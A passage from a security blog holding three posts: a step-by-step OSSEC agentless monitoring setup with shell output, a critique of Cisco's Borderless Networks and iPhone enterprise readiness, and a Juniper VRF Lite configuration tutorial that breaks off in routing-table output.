obsd46# /var/ossec/bin/ossec-control restart                                                                                                        (root@jcli-1:/var/ossec)
Killing ossec-monitord .. 
Killing ossec-logcollector .. 
Killing ossec-remoted .. 
Killing ossec-syscheckd .. 
Killing ossec-analysisd .. 
Killing ossec-maild .. 
ossec-execd not running ..
Killing ossec-agentlessd .. 
OSSEC HIDS v2.2 Stopped
Starting OSSEC HIDS v2.2 (by Trend Micro Inc.)...
Started ossec-agentlessd...
Started ossec-maild...
Started ossec-execd...
Started ossec-analysisd...
Started ossec-logcollector...
Started ossec-remoted...
Started ossec-syscheckd...
Started ossec-monitord...
Completed.

Related Posts:

• iPhone 4 Ordering and Session Switching
• May’s Patch Tuesday
• March’s Patch Tuesday
• Press F1 for Help, pwned.
• First Patch Tuesday of 2010

Lois, Clark Kent may seem like just a mild-mannered reporter, but listen, not only does he know how to treat his editor-in-chief with the proper respect, not only does he have a snappy, punchy prose style, but he is, in my forty years in this business, the fastest typist I’ve ever seen.

Perry White

Michael Starks from Immutable Security published the “Week of OSSEC” all last week (find their links at the end of article), and it was a great setup of posts.

With all the hard work done by Michael in his “Week of OSSEC”, I figured I should follow up with a few posts of my own about this great tool. I am NOT going to do a week of posts, but will try to get as much information out as I can.

OSSEC

OSSEC is a Host Intrusion Detection System (HIDS) in name, but in reality it is far more. It’s able to look for rootkits, monitor logs (LIDS), and even actively respond to defined events. While all these features are great, the unsung hero is agentless monitoring.

Agentless security monitoring is really a great feature that does not get explored often enough, so I am going to show how to get it up and running and then get it monitoring remote hosts.

Installing OSSEC

This is going to be one of the fastest OSSEC install instructions on the internet. For full details the main OSSEC website which covers this topic with more detail. Key things to note here is that I have installed it as a server. I could have installed OSSEC locally and we would have still been able to do whatever was needed.

My install log for OSSEC 2.2 is here.

Enabling agentless

To make use of agentless security monitoring, it first needs to be enabled. Full details also on the OSSEC webpage.

Agentless Requirements

For most of the built-in agentless monitoring scripts, expect is needed to function. In this example on OpenBSD 4.5, adding the expect package is simple with pkg_add.

obsd46# pkg_add http://openbsd.mirror.frontiernet.net/pub/OpenBSD/4.5/packages/i386/expect-5.43.0p0-no_tk.tgz
tcl-8.4.19: complete
expect-5.43.0p0-no_tk: complete
--- tcl-8.4.19 -------------------
You may wish to add /usr/local/lib/tcl8.4/man to /etc/man.conf

Turning on Agentless

Now we need to enable agentless by running the following command:

obsd46# /var/ossec/bin/ossec-control enable agentless

Adding a host.

We need to add a host to agentlessly monitor. If we were to authenticate using a password for host 172.17.20.20 we would use the following:

obsd46# /var/ossec/agentless/register_host.sh add agentless@172.17.20.20

While using a password does work, the preferred method would be to use SSH keys to provide the access level needed. To setup that method of access, you first need to create ssh keys for the user ossec which is the account the agentless scripts runs as.

obsd46# sudo -u ossec ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/var/ossec/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /var/ossec/.ssh/id_rsa.
Your public key has been saved in /var/ossec/.ssh/id_rsa.pub.
The key fingerprint is:
b8:c3:47:9a:33:09:5c:eb:54:a0:82:39:a6:06:63:08 ossec@obsd45.ptnsecurity.com
The key's randomart image is:
+--[ RSA 2048]----+
|E     .          |
|oo   . .         |
|Bo. . . .        |
|=o o . +         |
|..  o + S        |
|.    = *         |
|      @ .        |
|       =         |
|                 |
+-----------------+

Now that the SSH keys are present, we can add the host without a password. The special command line argument used with register_host.sh is NOPASS in all capitals, which will tell OSSEC supplied scripts to make use of SSH keys.

obsd46# /var/ossec/agentless/register_host.sh add root@172.17.20.20 NOPASS

Enabling SSH key on the host to be monitored.

You will now need to securely get the contents of /var/ossec/.ssh/id_rsa.pub to 172.17.20.20.

Using SSH and the password for a single time will make this simple. This will create the /root/.ssh if it is not already created, but might throw an error as it does if the directory is already present. This is not a problem and can be ignored.

obsd46# cat /var/ossec/.ssh/id_rsa.pub | ssh root@172.17.20.20 "( mkdir /root/.ssh/;  cat - >> /root/.ssh/authorized_keys )"
root@172.17.20.20's password:
mkdir: cannot create directory `/root/.ssh/': File exists
obsd46# ssh root@172.17.20.20 "cat  /root/.ssh/authorized_keys "
root@172.17.20.20's password:
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzyTBo7CqkI0TISR9S+KPS/gYY60nkD7Qe8wTTXrAEFvPNFJ
NJJpVVKsij6zw86lvTZ6hx9ib1M+MXvt+70uF/z1hYwnYrczR2TR03Z5nwOUA9OK61nBWXVwCi9GsQs6Oeo
mY9vkBDoKzB52+TKKSk9ZoC+HYPiT5SaiHZvMOV7kWuwF67lnYwlG5FdkRdOiXp7DcRjje4/Hixg7RLLl7o
dEXpIakzGfalt3yQDmwvSUZhyg3OuoKimTeNiKU/jlHlmEPuDZpiQe6QhFH38EeEIZTdHsYITodl8sY+n9I
eNMalGIHPs+bph+qcK+6cOb1RGaeGqJBFjaqPUyismz0bw== ossec@obsd45.ptnsecurity.com

We can also verify that it worked with the following command.

obsd46# sudo -u ossec ssh root@172.17.20.20
The authenticity of host '172.17.20.20 (172.17.20.20)' can't be established.
RSA key fingerprint is 14:cd:f2:e9:c3:5b:07:28:68:75:a7:b5:88:c2:6b:77.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.17.20.20' (RSA) to the list of known hosts.
Last login: Tue Oct  6 12:40:05 2009 from 172.17.20.154
[linux26.ptnsecurity.com ~]# exit

Add the agentless host to ossec.conf

While we have setup and prepared everything to allow agentless security monitoring of 172.17.20.20 we have not told ossec to make use of it. To simplify adding agentless to the config, we are going to make use of the python library and tools I created ossec-hids-tools.

First, let’s check to see what agentless hosts have been configured, and just like a good unix program, it should not output anything if nothing happens.

obsd46# ossec-config --section agentless --show

Next, add our host to the configuration. I am using the OSSEC supplied script ssh_integrity_check_linux. This script will login to the remote host and send back to the OSSEC server via stdout an MD5 and SHA1 hash of every single file inside the paths specified in the arguments. To demonstrate the output from the server, let’s test the script and review said output.

All testing of agentless scripts must be run from the directory /var/ossec/ unless you compiled a different install location.

obsd46# cd /var/ossec
obsd46# sudo -u ossec ./agentless/ssh_integrity_check_linux root@172.17.20.20 /etc
spawn ssh root@172.17.20.20
Last login: Mon Nov  2 17:53:23 2009 from 172.17.20.131
[tss-uvc-01v.ptn.local ~]#
INFO: Started.
t -d " " -f 1` && echo FWD: `stat --printf "%s:%a:%u:%g" $i`:$md5:$sha1 $i; done; exit md5=`md5sum $i | cut -d " " -f 1` && sha1=`sha1sum $i | cu
INFO: Starting.
FWD: 14612:644:0:0:509377d820692110c7a6cc83ef2c2da8:bf610c1fa14d84d8b3b44ec80b81788457f77420 /etc/sound/events/gtk-events-2.soundlist
FWD: 22291:644:0:0:d6139aa9554d4997ea25ec2d56095f51:26b9ae7784943eecaeb2dcd4b2ae3a32371d61c8 /etc/sound/events/gnome-2.soundlist
FWD: 83:644:0:0:9f87609f65b51761657c7d67881ae582:de82c03c535e9deb16aed94153883280891da2d7 /etc/modprobe.d/blacklist-firewire
^C^C#

I only let the script run for a few seconds to see the output, but the key things to notice are the lines beginning with “INFO” or “FWD”.

Anything that starts with “INFO” is logged to the /var/ossec/logs/ossec.log file for debugging and troubleshooting, we will make use of this later on in this blog. The “FWD” tag at the beginning of the line lets the OSSEC server store the HASH information. Where this becomes useful is when a file’s contents change, the HASH will in turn change and OSSEC is able to notify you when this happens.

Now let’s complete adding our host to the OSSEC configuration.

obsd46# ossec-config --section agentless --add --host root@172.17.20.20 --type ssh_integrity_check_linux \
--state periodic --argv "/bin /etc /sbin"

Let’s verify it’s what we expect.

obsd46# ossec-config --section agentless --show

type: ssh_integrity_check_linux
frequency: 3600
host: root@172.17.20.20
state: periodic
arguments: /bin /etc /sbin

Time to restart the deamons for the changes to take effect.

obsd46# /var/ossec/bin/ossec-control stop
Killing ossec-monitord ..
Killing ossec-logcollector ..
ossec-remoted not running ..
Killing ossec-syscheckd ..
Killing ossec-analysisd ..
Killing ossec-maild ..
ossec-execd not running ..
ossec-agentlessd not running ..
OSSEC HIDS v2.2 Stopped
obsd46# /var/ossec/bin/ossec-control start
Starting OSSEC HIDS v2.2 (by Trend Micro Inc.)...
Started ossec-agentlessd...
Started ossec-maild...
Started ossec-execd...
Started ossec-analysisd...
Started ossec-logcollector...
Started ossec-remoted...
Started ossec-syscheckd...
Started ossec-monitord...
Completed.

Testing agentless

Checking the log files, we can see what the agentless security monitor has done so far.

obsd46# grep agentless logs/ossec.log
2009/09/21 14:59:49 ossec-agentlessd: INFO: Started (pid: 15320).
2009/09/21 14:59:51 ossec-agentlessd: INFO: Test passed for 'ssh_integrity_check_linux'.
2009/09/21 15:00:53 ossec-agentlessd: INFO: ssh_integrity_check_linux: root@172.17.20.20: Started.
2009/09/21 15:00:53 ossec-agentlessd: INFO: ssh_integrity_check_linux: root@172.17.20.20: Starting.
2009/09/21 15:01:34 ossec-agentlessd: INFO: ssh_integrity_check_linux: root@172.17.20.20: Finished.

Now we have one last thing to do to see that it’s working as expected, make a change to the file system on 172.17.20.20 that the ossec will notice on the next run. I am going to change the root password for now.

obsd46# ssh -i /var/ossec/.ssh/id_rsa root@172.17.20.20
Last login: Tue Oct  6 14:38:48 2009 from 172.17.20.154
[linux26.ptnsecurity.com ~]# passwd
Changing password for user root.
New UNIX password:
Retype new UNIX password:
passwd: all authentication tokens updated successfully.
[linux26.ptnsecurity.com ~]# exit

Take a look at the logs for ossec-agentlessd to check the host. Again, we see that it completed another scan.

obsd46# grep agentless logs/ossec.log
2009/09/21 15:18:27 ossec-agentlessd: INFO: ssh_integrity_check_linux: root@172.17.20.20: Started.
2009/09/21 15:18:27 ossec-agentlessd: INFO: ssh_integrity_check_linux: root@172.17.20.20: Starting.
2009/09/21 15:18:46 ossec-syscheckd: INFO: Finished creating syscheck database (pre-scan completed).
2009/09/21 15:19:06 ossec-agentlessd: INFO: ssh_integrity_check_linux: root@172.17.20.20: Finished.

Note that we also received the following email notifying that the password has changed, a message that is very useful to report.

OSSEC HIDS Notification.
2009 Sep 21 15:19:00

Received From: (ssh_integrity_check_linux) root@172.17.20.20->syscheck
Rule: 550 fired (level 7) -> "Integrity checksum changed."
Portion of the log(s):

Integrity checksum changed for: '/etc/shadow'
Old md5sum was: '0d92e12c92f3edcf9d8876ea57c5f677'
New md5sum is : '2bd51b61dea17c5682fb2c0cf4f92c63'
Old sha1sum was: '2270c03a920ef8dd50e11cefdef046a8660f7a29'
New sha1sum is : 'd9518ea9022b10d07f81925c6d7f2abb4364b548'

--END OF NOTIFICATION

Week of OSSEC Links:

• Day 1: Detecting World-Writable Files
• Day 2: Detecting New Files
• Day 3: Using Variables
• Day 4: Using Groups
• Day 5: Reusing Rule IDs
• Day 6: Developing a Tuning Strategy
• Day 7: Developing a Workflow

Related Posts:

• iPhone 4 Ordering and Session Switching
• May’s Patch Tuesday
• March’s Patch Tuesday
• Press F1 for Help, pwned.
• First Patch Tuesday of 2010

Little Bit of History

I am going to quickly cover some of the history of the Internet and how it grew borders, but please skip to the highlight of the article if you are familiar with this already: Borderless Networks, What?

ARPANET (‘69-’91)

In the beginning, there was ARPANET which was the pioneer in packet switching networks and gave providers the choice of which method and hardware for communication it would use. However, the base protocol used for devices to communicate in ARPANET was NCP. The NCP protocol could best be described as a network device driver and less as a network transport stack. It did not have any method for end-to-end error handling which was seen as a problem, but nothing was done about this until 1983.

In 1983, TCP/IP replaced NCP as the protocol for transport and ARPANET became a part of what was to become the Internet. TCP/IP was a huge improvement over NCP in that it accounted for problems on the network and allowed the network not to come to a grinding halt when packets were lost. It also achieved the concept of end-to-end connectivity between each host. This meant that as long as two hosts were on the Internet they could reach each other by utilizing standard TCP/IP. This standard framework also lead to the growth of many different applications as there was no longer any need to make changes to the network to add new applications/protocols.

First Borders (‘91-’94)

All the building blocks were in place and what formed was a large group of interconnected networks to share and exchange data. Then the first virus and worm hit in 1983 and 1988 respectively. The morris worm gained a fair amount of media attention and in fact prompted the establishment of CERT. Even in this embryonic stage the vitality of the information being shared caused many researchers to begin placing limitations on the end-to-end connectivity of their hosts. Thus began the ‘Us’ and ‘Them’ status of the Internet.

‘Us’ and ‘Them’ started out simple with a move to keep networks segregated-or put another way, adding a border between the networks. At first, the borders were nothing more than routers that limited the effects from network A from spilling over into network B. They were effective, but in 1991 DEC released the first modern Firewall: SEAL. This marked the first real security border on the Internet, where all packets were inspected and compared to a set of policy rules before being passed on. These first security borders were instrumental in providing the trust and assurance in the network that companies and researchers required, speeding the growth of the Internet. While intrusion was still possible, the bar of entry was raised beyond causal attacks and probes.

Figure 1: Us vs. Them

In 1992, the dominant addressing of hosts was IPv4, where each host is a assigned a 32-bit address. This assignment limited the total number of addressable hosts to 4,294,967,296, but, due to reservations and subnetting, this could never be fully utilized. At this time, it was recognized that IPv4 limitations would be become a problem in the future, beginning the process of creating a new IP protocol with a much higher number of addressable hosts. IPv6 was born in 1994, based on a 128-bit address for each host. This would effectively allow every man, woman, and child on Earth to be assigned an address many times over. As a part of the formation of IPv6, security between networks was also taken into account and IPSec was created as a requirement of the IPv6 protocol.

IPv6’s creation gave the Internet a secure method of communications between networks via IPSEC and nearly unlimited address space, but IPv6 did not get off the ground quickly. This was mostly due to the fact that all devices and operating systems would need to be upgraded to handle the new protocol, and there was little to no pressure from the market to push things forward. IPSec on the other hand did take off, as it quickly became the standard method for interconnecting trusted networks over an untrusted medium (such as the Internet).

At the same time that IPv6 and IPSec were being developed, another group of people began working on an alternate method for dealing with the lack of addressable space in IPv4. Network Address Translation (NAT) was published in RFC1631 in 1994 as a short term solution, while the larger problems were being addressed. NAT became very successful quickly as it allows a very large number of hosts to access the larger Internet while using very few publicly addressable IP addresses. As with most things, NAT came with some trade-offs. One of the big ones was that hosts no longer had complete end-to-end connectivity. Thus, another border on the network was created; in practice firewalls became the dominate NAT devices. Nonetheless, the NAT border would create problems for applications developers for years to come.

Present (‘09)

In 2009, the way Internet runs is really not very different from 1994; IPv6 is just now getting underway, NAT is used everywhere, and IPSEC still secures networks over an untrusted medium. What has changed in a big way is the applications and uses of the Internet. Telephone calls commonly use the Internet for transport, on demand video is a huge source of traffic, social media networks garner huge numbers of users, online shopping is an important revenue stream for companies, and most recently more and more services are being hosted elastically on demand via the Internet.

Borderless Networks. What?

Now let’s get back to Borderless Networks…

Cisco envisions a global network where you can go any place and access any data you could need at anytime. John Chambers detailed the approach on a video at Cisco.com:

Cisco also has a Virtual event on Oct 20th for Borderless Networks, and have been encouraging people to register via twitter and emails for the last two weeks.

I first learned of the Borderless Networks push during the SC World Congress. I was there to get a preview of Borderless Networks as presented by Joel McFarland. The session description sounded interesting and as it was a keynote there was nothing else to pull on my time.

Two co-workers and I attended the session, but being a little late we had to make our way to the very front of the room to find seats. Up front we were able to hear and see everything in great detail, but in hindsight this might have not been the best place for us. There was no way Joel could have missed the looks of skepticism on all three of our faces.

Joel pushed the Cisco idea of Borderless Networks in many different ways, but pointed to the iPhone as the game changer, the beginning of things to come. Then iPhone and salesforce.com became his prime example of how the mobile sales team are almost completely disconnected from the enterprise network. They access leads, manage contacts, input orders, and exchange notes and information all without even logging into the corporate network. At this point, I looked to my co-workers with a questioning expression and whispered the rhetorical question “No corporate login?“.

The example Joel used is common for a sales workforce, and is actively encouraged in many environments, but this was just something that I have always felt was wrong. In many companies, sales leads are valuable information and something that competitors and even other sales people would actively try to gain access to. When all access to this information is controlled by an external party you are no longer able to apply your own controls. In fact, you are beholden to the policies and procedures of the provider. Joel was one step ahead of me on this. He pointed out the problems that were playing through my head and countered that salesforce.com can be made to use a corporation’s internal authentication methods (Active Directory, RSA Token, etc.). As such, your internal policies for access and removal of access are once again in your control. I conceded. Joel is correct that salesforce.com can be brought into line with one’s internal security policy, but he does not address the issue of the remote device-the iPhone itself.

Borderless

Let me come back to the iPhone in a bit, I want to point out another slide that came up during this iPhone praise. In Figure 2 I have created a combined version of the two slides Joel was showing to demonstrate the future of networking (I have recreated them from memory, but its close enough for this post).

Figure 2: Before & After

In Figure 2, we have the before and after sections. According to Joel, currently the before example is a good summary of how most enterprises networks allow access into and between their networks. This Joel and I agree on.

As seen in the before section, you have a defined entry point into the network from outside, where all external resources gain access. This is your border between “us” and “them“. In the examples, both the remote home desktop and iPhone access the network and are allowed across past the border only if proper authentication and authorization have take place. Once completed, the remote device is granted access to the resources that are allowed for it to function as an effective job tool: access to to internet via internal proxy, access of files in the London office, or logging into the salesforce.com website. The key thing is that all access flows through this single point of entry.

By restricting access for remote devices to a single point, we are able to overcome some technical shortcomings and greatly reduce the vectors of attack for the network. NAT is required due to the limited number of publicly addressable addresses. Thus end-to-end connectivity is not an option for the remote devices. The use of IPSec for transport and assigning a RFC1918 address to the remote device end of the IPSec tunnel allows one to overcome the NAT limitations. This gives you remote device end-to-end connectivity within the enterprise network. By using this method the network administrators are able to capture and monitor at a single point all access into and out of the network. NAC, IPS/IDS, and other methods of monitoring are commonly deployed here.

With the after diagram of Figure 2, we see the future as Cisco/Joel see it. This is where all resources are able to access all other resources; also known as complete end-to-end connectivity. Joel did not say how this was to be achieved, but given the network diagram it’s not hard to surmise that Cisco is planning a big push for IPv6. IPv6 will allow for this type of network, and will bring down the NAT boundary. With it the technical limitation of too few addresses for end-to-end connectivity on the Internet is eliminated and things can get a lot more complex as we see in the after section of the diagram.

On the after diagram you see end-to-end connectivity to each resource both inside the network and outside. We have an iPhone going directly to salesforce.com, directly accessing a file in the London office, and able to access all the data that it could ever need. What about limiting access to resources? How do you make sure that a remote home desktop does not start copying all of the data from the London office, NYC office, and salesforce.com to a remote site? What if the desktop is infected with malware? How do you log the activity of the remote device access? All the questions become much harder when you have completed end-to-end connectivity, and historically we have learned it becomes an even larger problem when there are remote devices involved.

All the questions I have asked about the security of the after sections can be answered with products already on the market and in fact are recommended for use in both networks. The problem becomes the scale that is needed to protect and defend a network that has complete end-to-end connectivity. Once again, going back to the after diagram, only taking into account remote device access, the number of policies that needs to be maintained, protected, and monitored goes from 1 to 4. Now a growth of 400% is big, but almost manageable. If you start to think about a small enterprise with 20 offices, 2 datacenters, and 200 remote users, the problem of scale is instantly untenable.

IPv6 will solve a lot of problems for networks as the need for NAT will go away and devices will be able to directly address each other across networks and boundaries, but as with just about everything there are side effects. Keeping control of access into and out your network is the first line of defense and with IPv6 this becomes a policy and enforcement issue even if it is no longer a technical requirement.

The iPhone, Key to the Borderless Network

Joel said he likes his iPhone and from the huge number of videos from Cisco featuring an iPhone it’s safe to assume Cisco does too. During the keynote Joel pointed out the iPhone a few times in a number examples and in general with heavy praise. Joel and I agree the iPhone is an amazing device, an important step forward in mobile computing. After this Joel and I begin to disagree, namely around one key point: “The iPhone is a game changer.” I think that statement needs to add “for the consumer market“.

Figure 3: The iPhone

iPhones are enabling users to use the Internet from almost anyplace; it’s one of the most popular cameras on flickr, has a huge list of applications, and, for some people, a complete replacement for the traditional computer. While its strong points work well in the consumer market, in the enterprise markets it’s a very different beast. In fact the strongest points for the iPhone in the consumer market are security concerns for the enterprise. Application controls are limited, centralized control is even more limited, and encryption of the data residing on the devices is a problem on the most fully featured phone to date.

Devices like the iPhone should be thought of less as a phone and more as a laptop. With that comes all the same protections and controls that we use to mitigate risk on an enterprise laptop. Here is a quick list of what I expect from a laptop and by extension from an iPhone for it to become a viable remote access device in the enterprise environment:

• Virus and Malware software with centralized reporting
• Secure communications for the device; both internal resources and the ability to define policies
• Strong Data Encryption on the device
• Ability to do remote kill of device
• Application installation and run controls
• Web Filter/Proxy controls
• Access controls, password complexity settings and password failure data destruction

Some of the areas listed are available on the iPhone, but none of them are near complete and ready for everyday use in an enterprise. Research In Motion (RIM) dominates the enterprise market for the reasons I have listed here. RIM via the BlackBerry Enterprise Server (BES) gives the enterprise complete control of every device that connects via a centralized management station. BES also does network traffic correctly in that all devices came back to the BES at a single point of entry into the enterprise. This allows an enterprise to place additional control directly attached to the BES and not with multiple devices all over the network. RIM’s BES product represents the minimum level of security that should be expected for remote access of phone like devices. I would go so far as to say it should be the starting standard for how remote access devices should behave.

The iPhone might be the start of things to come, but in no way is it even close to ready for the enterprise market.

Why?

Cisco’s push with Borderless Networks is either something that they haven’t completely vetted from a security perspective or the security strategy isn’t completely explained in the marketing. The huge increase in the number of points needing protection, the corresponding increase in the policy and management, and management data flow and access controls are areas that need addressing. These are problems we still having troubles controlling with our current network deployments. Unless Cisco has a magic bullet coming out of their research and development departments, I don’t see how this move to Borderless Networks is even possible.

Related Posts:

• iPhone 4 Ordering and Session Switching
• May’s Patch Tuesday
• March’s Patch Tuesday
• Press F1 for Help, pwned.
• The “Aurora” IE Exploit Used Against Google in Action

Table of Contents

• Virtual Routing and Forwarding (VRF)
• VRF Lite Setup
  • Cisco IOS
  • Juniper ScreenOS
  • Juniper JunOS

Virtual Routing and Forwarding (VRF)

“It’s incredibly obvious, isn’t it? A foreign substance is introduced into our precious bodily fluids without the knowledge of the individual, and certainly without any choice.”

Gen Jack D. Ripper

Virtual routing and forwarding (VRF) is a technology included in network routers that allows multiple instances of a routing table to exist in a single router all while working simultaneously.

Their are two types of VRFs: “VRF” and “VRF Lite.”

VRF Lite is just a subset of VRF without all the protocols used for creation of VPNs between routers, namely MPLS. VRFs are very common in service providers networks and at some point nearly all internet traffic passes through a VRF or two.

VRF Lite allows for interfaces on a physical router to belong to a routing instance. This routing instance has its own forwarding table, ARP entries, and everything else needed to make a forwarding decision. It can simply be thought of as a router within a router ( Figure 1).

Figure 1: Routers within Router

This structure makes VRFs useful for many applications and as a solution to quite a few tough network design issues. It can be used to improve the network in the following ways:

• Segmentation
• Management and Control
• Security

Segmentation

Layer 2 segmentation based on VLANs and firewalls is showing strains and being pushed beyond reasonableness when it comes to how a network architecture should be built. A good example of this is 10 Gig and 1 Gig Ethernet MANs¹ that span multiple buildings and datacenters into a single campus. An overview of a large campus network can been seen in Figure 2.

In our example network, creating wired guest access would require the use of firewalls in each building or extending VLANs between buildings to the centralized firewalls in the datecenter. Both options have downsides that VRFs would be better at solving.

Figure 2: Large MAN Overview

In the case of extending VLANs between buildings this would have the campus network design rely on Spanning Tree and layer 2 protocols to provide a loop-free environment. In the case of a large network such as our example, this could lead to long failover times during hardware failure, while also not making full use of all available network bandwidth.

The use of firewalls mitigates most of the network utilization and failure times by making use of layer 3 routed campus design, but this comes at a large cost. Namely, the cost is incurred in maintenance and raw hardware costs for large firewalls that are able to deal with 10 Gig and 1 Gig ethernet line rates. The use of access-lists are often supplemented for firewalls to reduce costs, but this approach is fraught with issues and access-lists are never reviewed often enough.

A VRF based solution for a wired guest network on a large campus would allow guest traffic to be routed to the firewalls in the datacenters via routing policy while still being segmented away from production traffic. By leveraging VRFs none of the aforementioned compromises are required to keep this separation. The production network is able to fully utilize all available links and not relay on spanning tree protocol between sites for a loop free environment.

Management and Control

For managing devices on a network, there is a need for out of band (OOB) connections. There really is no other sure-fire way of gaining access during a truly catastrophic event other than this tried and true modem/console connection. But for the daily running and maintenance of the network, OOB just can not keep up with the needs of daily maintenance and the amount of traffic generated by NetFlow, logging, ftp/tftp backups, and scp (secure copy) of new images. To complete these high bandwidth functions, most companies I have seen and worked with just resort to using the network that servers and even desktops traffic utilize. This traffic in many cases is highly sensitive and really should not be available to anyone outside of authorized users.

VRFs can help to move this traffic out of the primary network and into a second network that only services management functions and has no direct access to the Internet, desktops, or other uncontrolled resources. In fact, Cisco is now adding VRF management ports to some of their newer devices². The use of ACL’s and other forms of control and logging are still needed, but they become simpler to keep updated and are normally far less complicated when production traffic is neither expected nor allowed.

Security

“I… I don’t know exactly how to put this, sir, but are you aware of what a serious breach of security that would be? I mean, he’ll see everything, he’ll… he’ll see the Big Board!”

Gen "Buck" Turgidson

VRFs allow for complete separation of different routing instances from one another. This simple and effective concept of hiding networks from each other and limiting the ability of devices from interacting outside of defined boundaries creates a more secure network. A good example of this would be a voice network within a campus. In general, there is very little reason for VoIP end points to speak to anything other than the voice gateway and each other. Moving of voice traffic to a VRF allows for gateways to still interact and even direct device-to-device interconnection, while greatly reducing the attack vectors.

VRFs do increase the surface area of your network devices due to the increased number of addressable interfaces on each hardware device. But I would counter this with the fact that the network is divided into more domain specific networks. The ACL and protection measures required become much simpler to implement and keep up to date. A good and simple example of this would be to just block all management functions for anything outside of the management VRF.

VRF Lite Setup

VRF Lite is supported on most modern network hardware, but I personally have not used them outside of Juniper JunOS, Juniper ScreenOS, and Cisco IOS. Each Platform/Company has it’s own naming³ convention for the this feature, but the concept is the same in each.

“Gentlemen, you can’t fight in here! This is the War Room.”

Pres Merkin Muffley

• Setup on Juniper JunOS
• Setup on Cisco IOS
• Setup on Juniper ScreenOS

VRF Lite Setup on Juniper JunOS

For this example I will be using JunOS 8.5, while this a slightly older version it still has all the features needed.

First we need to setup some basic interfaces for later use. We will not be assigning them an IP address as I do not want to pollute the global routing table⁴. We will be using VLANs on ethernet interfaces to break up the router junos-1 into three virtual routers.

Enable VLAN tagging on the interfaces and create some sub interfaces.

set interfaces fe-0/0/0 vlan-tagging
set interfaces fe-0/0/0 unit 100 vlan-id 100
set interfaces fe-0/0/0 unit 100 description "Untrust"
set interfaces fe-0/0/0 unit 200 vlan-id 200
set interfaces fe-0/0/0 unit 200 description "Trust"
set interfaces fe-0/0/0 unit 300 vlan-id 300
set interfaces fe-0/0/0 unit 300 description "DMZ"
set interfaces fe-0/0/0 unit 400 vlan-id 400
set interfaces fe-0/0/0 unit 400 description "Trust"

The verify the results and commit the changes.

[edit]
jrossi@junos-1# show interfaces
fe-0/0/0 {
    vlan-tagging;
    unit 100 {
        description Untrust;
        vlan-id 100;
    }
    unit 200 {
        description Trust;
        vlan-id 200;
    }
    unit 300 {
        description DMZ;
        vlan-id 300;
    }
    unit 400 {
        description Trust;
        vlan-id 400;
    }
}

[edit]
jrossi@junos-1# commit
commit complete

Now let’s create three new routing-instances: Trust, Untrust, and DMZ. The instance-type supports quite a few option types on JunOS, but to to create a VRF Lite instance we just need to use virtual-router. We also need to assign interfaces to each newly created instance. This is very different than in Cisco IOS in that one configures VRF in the interface configuration hierarchy.

show routing-instances
set routing-instances Trust instance-type virtual-router
set routing-instances Trust interface fe-0/0/0.200
set routing-instances Trust interface fe-0/0/0.400
set routing-instances Untrust instance-type virtual-router
set routing-instances Untrust interface fe-0/0/0.100
set routing-instances DMZ instance-type virtual-router
set routing-instances DMZ interface fe-0/0/0.300

View the results and commit the change.

[edit]
jrossi@junos-1# show routing-instances
Trust {
    instance-type virtual-router;
    interface fe-0/0/0.200;
    interface fe-0/0/0.400;
}
Untrust {
    instance-type virtual-router;
    interface fe-0/0/0.100;
}
DMZ {
    instance-type virtual-router;
    interface fe-0/0/0.300;
}

[edit]
jrossi@junos-1# commit
commit complete

Now, we have the interfaces configured and set up without addresses. If we look at the routing table nothing shows up because we have not enabled any interface families. Once we add address to the family inet interface configuration, the routing table will begin to take shape.

jrossi@junos-1# run show route

inet.0: 6 destinations, 6 routes (6 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both

0.0.0.0/0          *[Static/5] 03:47:47
                    > to 10.4.37.1 via fe-0/0/1.0
10.4.37.0/24       *[Direct/0] 1d 19:35:26
                    > via fe-0/0/1.0
10.4.37.9/32       *[Local/0] 1d 19:35:26
                      Local via fe-0/0/1.0
192.168.5.0/24     *[Direct/0] 1d 13:13:18
                    > via fe-0/0/1.0
192.168.5.123/32   *[Local/0] 1d 13:13:18
                      Local via fe-0/0/1.0
224.0.0.5/32       *[OSPF/10] 1d 12:50:00, metric 1
                     MultiRecv

__juniper_private2__.inet.0: 1 destinations, 1 routes (0 active, 0 holddown, 1 hidden)

Let’s add some interface family inet addresses. I am going to use overlapping address ranges to show that when VRF is used they do not interfere with each other.

set interfaces fe-0/0/0 unit 100 family inet address 10.10.10.1/24
set interfaces fe-0/0/0 unit 200 family inet address 172.16.10.1/24
set interfaces fe-0/0/0 unit 300 family inet address 10.10.10.1/24
set interfaces fe-0/0/0 unit 400 family inet address 192.168.10.1/24

Now let’s verify the changes and commit them.

jrossi@junos-1# show interfaces fe-0/0/0 
vlan-tagging;
unit 100 {
    description Untrust;
    vlan-id 100;
    family inet {
        address 10.10.10.1/24;
    }
}
unit 200 {
    description Trust;
    vlan-id 200;
    family inet {
        address 172.16.10.1/24;
    }
}
unit 300 {
    description DMZ;
    vlan-id 300;
    family inet {
        address 10.10.10.1/24;
    }
}
unit 400 {
    description Trust;
    vlan-id 400;
    family inet {
        address 192.168.10.1/24;
    }
}

[edit]
jrossi@junos-1# commit 
commit complete

When we look into the routing you see much more information and can even see the different routing instances. The global routing table inet.0 is the default table your would normally work with. Further down the list you see DMZ.inet.0, Trust.inet.0, and Untrust.inet.0; they are the newly created VRF Lite routing instances.

[edit]
jrossi@junos-1# run show route 

inet.0: 6 destinations, 6 routes (6 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both

0.0.0.0/0          *[Static/5] 04:27:06
                    > to 10.4.37.1 via fe-0/0/1.0
10.4.37.0/24       *[Direct/0] 1d 20:14:45
                    > via fe-0/0/1.0
10.4.37.9/32       *[Local/0] 1d 20:14:45
                      Local via fe-0/0/1.0
192.168.5.0/24     *[Direct/0] 1d 13:52:37
                    > via fe-0/0/1.0
192.168.5.123/32   *[Local/0] 1d 13:52:37
                      Local via fe-0/0/1.0
224.0.0.5/32       *[OSPF/10] 1d 13:29:19, metric 1
                      MultiRecv

__juniper_private2__.inet.0: 1 destinations, 1 routes (0 active, 0 holddown, 1 hidden)

DMZ.inet.0: 2 destinations, 2 routes (2 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both

10.10.10.0/24      *[Direct/0] 00:00:06
                    > via fe-0/0/0.300
10.10.10.1/32      *[Local/0] 00:00:06
                      Local via fe-0/0/0.300

